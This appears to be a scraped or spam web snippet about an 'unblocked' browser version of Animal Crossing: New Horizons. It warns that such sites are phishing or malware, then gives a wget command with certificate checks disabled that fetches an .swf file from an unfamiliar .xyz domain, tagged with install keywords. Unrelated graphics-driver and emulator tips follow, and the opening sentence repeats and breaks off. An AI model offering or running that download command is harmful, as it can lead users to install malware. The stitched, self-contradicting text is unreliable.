No official web-based or unblocked version of Animal Crossing: New Horizons exists. Any website claiming to offer a "direct install" of the full Switch game in a browser is likely a phishing site or contains malware.
wget --no-check-certificate https://lighthouse-terminal.xyz/acnh/offline.swf animal crossing new horizons unblocked install
Your graphics drivers are outdated. Update Intel/AMD/Nvidia drivers. Alternatively, switch the emulator from Vulkan to OpenGL in settings. No official web-based or unblocked version of Animal